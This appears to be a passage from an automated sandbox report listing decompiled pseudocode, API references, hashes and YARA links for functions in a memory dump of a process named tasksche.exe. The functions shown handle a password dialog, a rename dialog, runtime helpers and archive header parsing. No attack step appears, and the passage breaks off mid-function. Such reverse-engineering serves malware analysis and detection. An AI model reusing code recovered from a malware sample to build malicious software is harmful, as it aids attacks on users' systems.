Instruction ID: e80266907105dbdc6ea336272c15ef3f26093cba4c1f52b7c6092cd65192489b
Opcode Fuzzy Hash: 668843457d3f320ef4c041a0620e582976ae6b8cc17d27ec4e60122bb8f86131
Instruction Fuzzy Hash: 8D219372901259BEDF21AF55DC01BAF77689B04758F00803BF802B62C1C7BC8A559BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040E1B2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040E1B2(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16) {
				void* _v4100;
				void* __ebx;
				struct HWND__* _t15;
				void* _t25;
				void* _t26;
				signed int _t27;
				signed int _t29;
				void* _t35;
				struct HWND__* _t38;
				void* _t40;
				void* _t41;

				E0041AAF0(0x1000);
				if( *0x44397a == 0) {
					_t15 =  *0x441844;
					_t38 = _t15;
					if(_a4 == 2 && IsWindowVisible(_t15) == 0) {
						_t38 = 0;
					}
					E0040A386(_t26, _a8, _a12,  &_v4100, 0x800);
					if( *0x44cf20 != 0 || DialogBoxParamW( *0x4335a4, L"GETPASSWORD1", _t38, E0040D477,  &_v4100) != 0) {
						_t25 = _a16;
						_t27 = 0x40;
						memcpy(_t25, 0x44ce20, _t27 << 2);
						_t41 = _t41 + 0xc;
						asm("movsw");
					} else {
						_t25 = _a16;
						E0040D033(_t25, _t25, 0x42a73c);
						 *0x44183c = 1;
					}
					if( *((char*)(_t25 + 0x100)) != 0) {
						_t40 = _t25;
						_t35 = 0x44387a;
						goto L11;
					}
				} else {
					_t25 = _a16;
					_t40 = 0x44387a;
					_t35 = _t25;
					L11:
					_t29 = 0x40;
					memcpy(_t35, _t40, _t29 << 2);
					asm("movsw");
				}
				return  *((intOrPtr*)(_t25 + 0x100));
			}

0x0040e1ba
0x0040e1c9
0x0040e1de
0x0040e1e3
0x0040e1e5
0x0040e1f2
0x0040e1f2
0x0040e206
0x0040e212
0x0040e24e
0x0040e253
0x0040e25b
0x0040e25b
0x0040e25d
0x0040e236
0x0040e236
0x0040e240
0x0040e245
0x0040e245
0x0040e266
0x0040e268
0x0040e26a
0x00000000
0x0040e26a
0x0040e1cb
0x0040e1cb
0x0040e1ce
0x0040e1d3
0x0040e26f
0x0040e271
0x0040e272
0x0040e274
0x0040e274
0x0040e280

APIs

IsWindowVisible.USER32(?), ref: 0040E1E8
DialogBoxParamW.USER32 ref: 0040E22C

Strings

GETPASSWORD1, xrefs: 0040E221
z8D, xrefs: 0040E1CE
z8D, xrefs: 0040E26A

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1$z8D$z8D
API String ID: 3157717868-3779298832
Opcode ID: 8a5930b9f1bd4a7920270691445133db6bb9d1af5357342886f90841ecad1a96
Instruction ID: 2ec29a5f94ea44b227bd1a9c17bea14e87d691145e51ce1093468d312523c58d
Opcode Fuzzy Hash: 8a5930b9f1bd4a7920270691445133db6bb9d1af5357342886f90841ecad1a96
Instruction Fuzzy Hash: B71159717002445BEB21DF62AC80B973B99AB08765F08007BFD446B2D1C7BC8CA0C76D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D3EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040D3EE(void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				void* _t11;
				void* _t17;
				void* _t21;
				struct HWND__* _t22;
				WCHAR* _t23;

				_t23 = _a16;
				_t22 = _a4;
				if(E004060EE(_t21, _t22, _a8, _a12, _t23, L"RENAMEDLG", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t11 = _a8 - 0x110;
				if(_t11 == 0) {
					 *0x44cf28 = _t23;
					SetDlgItemTextW(_t22, 0x65, _t23);
					SetDlgItemTextW(_t22, 0x66,  *0x44cf28);
					goto L10;
				}
				if(_t11 != 1) {
					L5:
					return 0;
				}
				_t17 = (_a12 & 0x0000ffff) - 1;
				if(_t17 == 0) {
					GetDlgItemTextW(_t22, 0x66,  *0x44cf28, 0x800);
					_push(1);
					L7:
					EndDialog(_t22, ??);
					goto L10;
				}
				if(_t17 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0040d3f2
0x0040d3f6
0x0040d411
0x0040d46e
0x00000000
0x0040d470
0x0040d416
0x0040d41b
0x0040d454
0x0040d461
0x0040d46c
0x00000000
0x0040d46c
0x0040d41e
0x0040d42a
0x00000000
0x0040d42a
0x0040d424
0x0040d425
0x0040d447
0x0040d44d
0x0040d430
0x0040d431
0x00000000
0x0040d431
0x0040d428
0x0040d42e
0x00000000
0x0040d42e
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D431
GetDlgItemTextW.USER32 ref: 0040D447
SetDlgItemTextW.USER32 ref: 0040D461
SetDlgItemTextW.USER32 ref: 0040D46C

Strings

RENAMEDLG, xrefs: 0040D3FD

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: RENAMEDLG
API String ID: 1770891597-3299779563
Opcode ID: 762bcebfea9f2beca08e3ffb6bbc5115bfac0753acb3b7587415e25b8287d6f5
Instruction ID: a809f9c23db95260371581c6ee5cd384337b37eb9584205a8113e0e6bfd29c9a
Opcode Fuzzy Hash: 762bcebfea9f2beca08e3ffb6bbc5115bfac0753acb3b7587415e25b8287d6f5
Instruction Fuzzy Hash: 6F01D836A4421877DB205F949C41FBB3B69E705F50F544036FA01B61D0C6BAA8269BAE

Uniqueness

Uniqueness Score: -1.00%

Function 00405F3C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00405F3C(intOrPtr __ecx, void* __eflags) {
				void* __edi;
				void* __esi;
				intOrPtr _t31;
				void* _t33;

				E0041A4DC(E0042961B, _t33);
				_push(__ecx);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_t31 = __ecx;
				_push(0x12c);
				_push(__ecx);
				 *((intOrPtr*)(_t33 - 0x10)) = __ecx;
				E0041C6B6(__ecx, __eflags);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_push(0x178);
				_t22 = _t31 + 0x4b4;
				_push(_t31 + 0x4b4);
				 *((intOrPtr*)(_t33 - 4)) = 0;
				E0041C6B6(_t31, 0);
				 *((char*)(_t33 - 4)) = 1;
				E0040CA39(_t31 + 0xa9c);
				 *((intOrPtr*)(_t31 + 0xa98)) = 0;
				E0041A820(0, _t31, 0, 0x4b0);
				E0041A820(0, _t22, 0, 0x5e0);
				 *((intOrPtr*)(_t31 + 0x4b0)) = 0;
				 *((intOrPtr*)(_t31 + 0xa94)) = 0;
				E0041A820(0, _t31 + 0xba4, 0, 0x400);
				 *[fs:0x0] =  *((intOrPtr*)(_t33 - 0xc));
				return _t31;
			}

0x00405f41
0x00405f46
0x00405f4a
0x00405f4f
0x00405f54
0x00405f56
0x00405f58
0x00405f5d
0x00405f5e
0x00405f61
0x00405f66
0x00405f6b
0x00405f70
0x00405f72
0x00405f77
0x00405f7f
0x00405f80
0x00405f83
0x00405f8e
0x00405f92
0x00405f9e
0x00405fa4
0x00405fb0
0x00405fc2
0x00405fc8
0x00405fce
0x00405fde
0x00405fe6

APIs

__EH_prolog.LIBCMT ref: 00405F41
_memset.LIBCMT ref: 00405FA4
_memset.LIBCMT ref: 00405FB0
_memset.LIBCMT ref: 00405FCE

Strings

r, xrefs: 00405F4A, 00405F66

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog
String ID: r
API String ID: 3013590873-3291565091
Opcode ID: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction ID: fcb346f71e1c6521d09fa93fcec7134e0802dca7d1a5d7d76298086db4932847
Opcode Fuzzy Hash: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction Fuzzy Hash: 880144B17417407AD220EB669C46FEBBAA8DB85B18F00041FB255661C2C7FC5941CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0041DAD4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0041DAD4(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t25;

				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E0041E9B4(_t23, __edx, _t25, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x42d8f0);
						E0041FA9C(_t23, _t25, __esi);
						_t19 =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E0041FAE1(E00423F89(_t23, _t24, _t25));
					}
				}
			}

0x0041dad4
0x0041dade
0x0041dae5
0x0041db04
0x0041db0b
0x0041db12
0x0041db17
0x0041db17
0x0041db17
0x00000000
0x0041dae7
0x0041dae7
0x0041daec
0x0041db19
0x0041db19
0x0041db1c
0x0041daee
0x0041daf3
0x0041ec8a
0x0041ec8c
0x0041ec91
0x0041ec9b
0x0041eca0
0x0041eca2
0x0041eca6
0x0041ecb1
0x0041ecb1
0x0041ecc2
0x0041ecc2
0x0041daec

APIs

__getptd.LIBCMT ref: 0041DAEE

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DAFF
__getptd.LIBCMT ref: 0041DB0D

Strings

MOC, xrefs: 0041DAE0
csm, xrefs: 0041DAE7

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction ID: 7ce874268d128f0e9cc5e4e4439fd54cca852ebc00a18d755191ea46e2ae681e
Opcode Fuzzy Hash: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction Fuzzy Hash: 8EE048755141048FDB50976AC445FA93394EB48318F1504A7E80CC7353D77CE8C0558B

Uniqueness

Uniqueness Score: -1.00%

Function 00421BA7 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00421BA7(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x42d9d0);
				E0041FA9C(__ebx, __edi, __esi);
				_t31 = E0041E9B4(__ebx, __edx, __edi, _t35);
				_t15 =  *0x430da4; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0041EFA3(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x430ca8; // 0x21a16c0
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x430880;
								if(__eflags != 0) {
									_push(_t33);
									E0041A506(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x430ca8; // 0x21a16c0
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x430ca8; // 0x21a16c0
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00421C42();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00421495(_t29, _t31, 0x20);
				}
				return E0041FAE1(_t33);
			}

0x00421ba7
0x00421ba7
0x00421ba7
0x00421ba7
0x00421ba9
0x00421bae
0x00421bb8
0x00421bba
0x00421bc2
0x00421be3
0x00421be9
0x00421bed
0x00421bf0
0x00421bf3
0x00421bf9
0x00421bfb
0x00421bfd
0x00421c00
0x00421c06
0x00421c08
0x00421c0a
0x00421c10
0x00421c12
0x00421c13
0x00421c18
0x00421c10
0x00421c08
0x00421c19
0x00421c1e
0x00421c21
0x00421c27
0x00421c2b
0x00421c2b
0x00421c31
0x00421c38
0x00421bca
0x00421bca
0x00421bca
0x00421bcf
0x00421bd3
0x00421bd8
0x00421be0

APIs

__getptd.LIBCMT ref: 00421BB3

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__amsg_exit.LIBCMT ref: 00421BD3
__lock.LIBCMT ref: 00421BE3
InterlockedDecrement.KERNEL32(?), ref: 00421C00
InterlockedIncrement.KERNEL32(021A16C0), ref: 00421C2B

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 74e5199f409b0e250bccaee7949834ceac0f5e9eb7994a886cf19954e8f2a892
Instruction ID: 6d4d6cab2ca80c9586acdc371c3e58b42f7918e3e726cea937426c24952e9619
Opcode Fuzzy Hash: 74e5199f409b0e250bccaee7949834ceac0f5e9eb7994a886cf19954e8f2a892
Instruction Fuzzy Hash: 8401C439B40731ABC728AF56A40679E7760BF10724F94012BE804AB3A1CB3C6991DBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00411E81 Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411E81(void* __eflags, short* _a4, short* _a8, int _a12) {
				void* _t8;
				int _t12;
				int _t22;
				int _t23;

				_t8 = E0041A7AF(_a4);
				_t22 = _a12;
				if(_t8 + 1 >= _t22) {
					_t23 = _t22;
				} else {
					_t23 = E0041A7AF(_a4) + 1;
				}
				if(E0041A7AF(_a8) + 1 >= _t22) {
					_t12 = _t22;
				} else {
					_t12 = E0041A7AF(_a8) + 1;
				}
				return CompareStringW(0x400, 0x1001, _a4, _t23, _a8, _t12);
			}

0x00411e89
0x00411e8e
0x00411e95
0x00411ea5
0x00411e97
0x00411ea2
0x00411ea2
0x00411eb3
0x00411ec1
0x00411eb5
0x00411ebe
0x00411ebe
0x00411ee0

APIs

_wcslen.LIBCMT ref: 00411E89
_wcslen.LIBCMT ref: 00411E9A
_wcslen.LIBCMT ref: 00411EAA
_wcslen.LIBCMT ref: 00411EB8
CompareStringW.KERNEL32(00000400,00001001,?,?,00000000,?,?,00000000,?,00409F60,__rar_,00000000,00000006,00000000,?,00000800), ref: 00411ED5

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction ID: fd224344e63f22d7e065bf6fa160c6ce473b51916626f6dd2966927fcf662de7
Opcode Fuzzy Hash: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction Fuzzy Hash: 5FF02436148148BFDF126F92EC01CDE3F26DB81375B244027FE298A0A0D635C9A29789

Uniqueness

Uniqueness Score: -1.00%

Function 0040272E Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 405
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040272E(intOrPtr __ecx, signed int __edx) {
				signed int _t142;
				char _t143;
				void* _t147;
				signed int _t148;
				unsigned int _t149;
				signed int _t153;
				signed int _t170;
				signed int _t173;
				void* _t178;
				signed int _t179;
				void* _t182;
				signed char _t183;
				void* _t196;
				void* _t205;
				signed char _t207;
				void* _t217;
				signed char _t218;
				void* _t232;
				signed char _t234;
				signed int _t235;
				signed int _t239;
				signed int _t246;
				void* _t247;
				signed char _t250;
				void* _t251;
				char* _t252;
				void* _t253;
				intOrPtr _t255;
				signed int _t260;
				intOrPtr _t262;
				signed char _t277;
				signed char _t280;
				signed char _t283;
				intOrPtr _t307;
				intOrPtr _t310;
				signed int _t312;
				signed char _t314;
				signed char _t316;
				void* _t318;
				void* _t320;
				signed int _t326;
				signed int _t339;

				_t312 = __edx;
				_t318 = _t320 - 0x6c;
				E0041AAF0(0x20c0);
				_t314 =  *(_t318 + 0x74);
				 *((intOrPtr*)(_t318 + 0x68)) = __ecx;
				_t255 =  *((intOrPtr*)(_t314 + 0x14));
				_t142 = _t255 -  *(_t318 + 0x78);
				if(_t142 <  *(_t314 + 0x18)) {
					L83:
					return _t142;
				}
				 *(_t314 + 0x18) = _t142;
				if(_t255 - _t142 >= 2) {
					_t316 =  *(_t318 + 0x7c);
					while(1) {
						_t142 = E0040B60D(_t312);
						 *(_t318 + 0x64) = _t312;
						if((_t142 | _t312) == 0) {
							break;
						}
						_t260 =  *(_t314 + 0x18);
						_t312 =  *((intOrPtr*)(_t314 + 0x14)) - _t260;
						if(_t312 == 0) {
							break;
						}
						_t326 =  *(_t318 + 0x64);
						if(_t326 > 0 || _t326 >= 0 && _t142 > _t312) {
							break;
						} else {
							_t246 = _t260 + _t142;
							 *(_t318 + 0x78) = _t246;
							_t143 = E0040B60D(_t312);
							_t247 = _t246 -  *(_t314 + 0x18);
							 *(_t318 + 0x64) =  *(_t318 + 0x64) & 0x00000000;
							 *((intOrPtr*)(_t318 + 0x58)) = _t143;
							 *(_t318 + 0x5c) = _t312;
							if( *((intOrPtr*)(_t316 + 4)) == 1 && _t143 == 1 && _t312 == 0) {
								 *((char*)(_t316 + 0x1e)) = _t143;
								_t234 = E0040B60D(_t312);
								 *(_t318 + 0x74) = _t234;
								if((_t234 & 0x00000001) != 0) {
									_t239 = E0040B60D(_t312);
									 *(_t318 + 0x4c) = _t239;
									if((_t239 | _t312) != 0) {
										_t310 =  *((intOrPtr*)(_t318 + 0x68));
										asm("adc ecx, edx");
										 *((intOrPtr*)(_t316 + 0x20)) =  *((intOrPtr*)(_t310 + 0xb040)) +  *(_t318 + 0x4c);
										 *((intOrPtr*)(_t316 + 0x24)) =  *((intOrPtr*)(_t310 + 0xb044));
									}
								}
								if(( *(_t318 + 0x74) & 0x00000002) != 0) {
									_t235 = E0040B60D(_t312);
									 *(_t318 + 0x44) = _t235;
									if((_t235 | _t312) != 0) {
										_t307 =  *((intOrPtr*)(_t318 + 0x68));
										asm("adc ecx, edx");
										 *((intOrPtr*)(_t316 + 0x30)) =  *((intOrPtr*)(_t307 + 0xb040)) +  *(_t318 + 0x44);
										 *((intOrPtr*)(_t316 + 0x34)) =  *((intOrPtr*)(_t307 + 0xb044));
									}
								}
							}
							_t262 =  *((intOrPtr*)(_t316 + 4));
							if(_t262 == 2 || _t262 == 3) {
								_t312 = 0;
								_t339 =  *(_t318 + 0x5c);
								if(_t339 > 0 || _t339 >= 0 &&  *((intOrPtr*)(_t318 + 0x58)) > 7) {
									goto L81;
								} else {
									_t147 =  *((intOrPtr*)(_t318 + 0x58)) - 1;
									if(_t147 == 0) {
										_t148 = E0040B60D(_t312);
										__eflags = _t148;
										if(_t148 <= 0) {
											_t149 = E0040B60D(_t312);
											 *(_t316 + 0x10b1) = _t149 & 0x00000001;
											 *(_t316 + 0x10ba) = _t149 >> 0x00000001 & 0x00000001;
											_t153 = E0040B562(_t314) & 0x000000ff;
											 *(_t316 + 0x10dc) = _t153;
											__eflags = _t153 - 0x18;
											if(_t153 > 0x18) {
												E00401CA3( *((intOrPtr*)(_t318 + 0x68)), _t316 + 0x20);
											}
											E0040B696(_t314, _t316 + 0x1091, 0x10);
											E0040B696(_t314, _t316 + 0x10a1, 0x10);
											__eflags =  *(_t316 + 0x10b1);
											if( *(_t316 + 0x10b1) != 0) {
												_t248 = _t316 + 0x10b2;
												E0040B696(_t314, _t316 + 0x10b2, 8);
												E0040B696(_t314, _t318 + 0x54, 4);
												E004106AE(_t318 - 0x54);
												E004109B0(_t318 - 0x54, _t316 + 0x10b2, 8);
												E00410A29(_t314, _t312, __eflags, _t318 - 0x54, _t318 + 0x24);
												_t170 = E0041AC04(_t318 + 0x54, _t318 + 0x24, 4);
												_t320 = _t320 + 0xc;
												asm("sbb al, al");
												__eflags =  *((intOrPtr*)(_t316 + 4)) - 3;
												 *(_t316 + 0x10b1) =  ~_t170 + 1;
												if( *((intOrPtr*)(_t316 + 4)) == 3) {
													_t173 = E0041AC04(_t248, 0x42a49c, 8);
													_t320 = _t320 + 0xc;
													__eflags = _t173;
													if(_t173 == 0) {
														 *(_t316 + 0x10b1) = _t173;
													}
												}
											}
											 *((char*)(_t316 + 0x1090)) = 1;
											 *((intOrPtr*)(_t316 + 0x108c)) = 5;
											 *((char*)(_t316 + 0x108b)) = 1;
										} else {
											E00401CA3( *((intOrPtr*)(_t318 + 0x68)), _t316 + 0x20);
										}
										goto L81;
									}
									_t178 = _t147 - 1;
									if(_t178 == 0) {
										_t179 = E0040B60D(_t312);
										__eflags = _t179;
										if(_t179 != 0) {
											goto L81;
										}
										_push(0x20);
										 *((intOrPtr*)(_t316 + 0x1060)) = 3;
										_push(_t316 + 0x1064);
										L33:
										E0040B696(_t314);
										goto L81;
									}
									_t182 = _t178 - 1;
									if(_t182 == 0) {
										__eflags =  *(_t318 + 0x64) - _t312;
										if(__eflags < 0) {
											goto L81;
										}
										if(__eflags > 0) {
											L58:
											_t183 = E0040B60D(_t312);
											_t250 = _t183 & 0x00000001;
											 *(_t318 + 0x77) = _t183;
											__eflags = _t183 & 0x00000002;
											if((_t183 & 0x00000002) != 0) {
												_t283 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1030, E0040B5EC(_t283, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1030, _t312, E0040B5AF(_t283), 0);
												}
											}
											__eflags =  *(_t318 + 0x77) & 0x00000004;
											if(( *(_t318 + 0x77) & 0x00000004) != 0) {
												_t280 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1038, E0040B5EC(_t280, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1038, _t312, E0040B5AF(_t280), 0);
												}
											}
											__eflags =  *(_t318 + 0x77) & 0x00000008;
											if(( *(_t318 + 0x77) & 0x00000008) != 0) {
												_t277 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1040, E0040B5EC(_t277, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1040, _t312, E0040B5AF(_t277), 0);
												}
											}
											goto L81;
										}
										__eflags = _t247 - 9;
										if(_t247 < 9) {
											goto L81;
										}
										goto L58;
									}
									_t196 = _t182 - 1;
									if(_t196 == 0) {
										__eflags =  *(_t318 + 0x64) - _t312;
										if(__eflags < 0) {
											goto L81;
										}
										if(__eflags > 0) {
											L53:
											E0040B60D(_t312);
											__eflags = E0040B60D(_t312);
											if(__eflags != 0) {
												 *((char*)(_t316 + 0x10e3)) = 1;
												E0040BC16(_t318 + 0x1c, 0x14, ";%u", _t198);
												_t320 = _t320 + 0x10;
												E00410BC9(__eflags,  *((intOrPtr*)(_t318 + 0x68)) + 0x6608, _t318 + 0x1c, 0x800);
											}
											goto L81;
										}
										__eflags = _t247 - 1;
										if(_t247 < 1) {
											goto L81;
										}
										goto L53;
									}
									_t205 = _t196 - 1;
									if(_t205 == 0) {
										 *((intOrPtr*)(_t316 + 0x10f0)) = E0040B60D(_t312);
										_t207 = E0040B60D(_t312);
										_t290 = _t314;
										 *(_t316 + 0x20f4) = _t207 & 0x00000001;
										_t251 = E0040B60D(_t312);
										 *((char*)(_t318 - 0x2054)) = 0;
										__eflags = _t251 - 0x1fff;
										if(_t251 < 0x1fff) {
											_t290 = _t314;
											E0040B696(_t314, _t318 - 0x2054, _t251);
											 *((char*)(_t318 + _t251 - 0x2054)) = 0;
										}
										E0040A277(_t318 - 0x2054, _t318 - 0x2054, 0x2000);
										E00411CD1(_t290, _t318 - 0x2054, _t316 + 0x10f4, 0x800);
										goto L81;
									}
									_t217 = _t205 - 1;
									if(_t217 == 0) {
										_t218 = E0040B60D(_t312);
										 *(_t316 + 0x20f6) = _t218 >> 0x00000002 & 0x00000001;
										_t252 = _t316 + 0x20f8;
										 *(_t318 + 0x7c) = _t218;
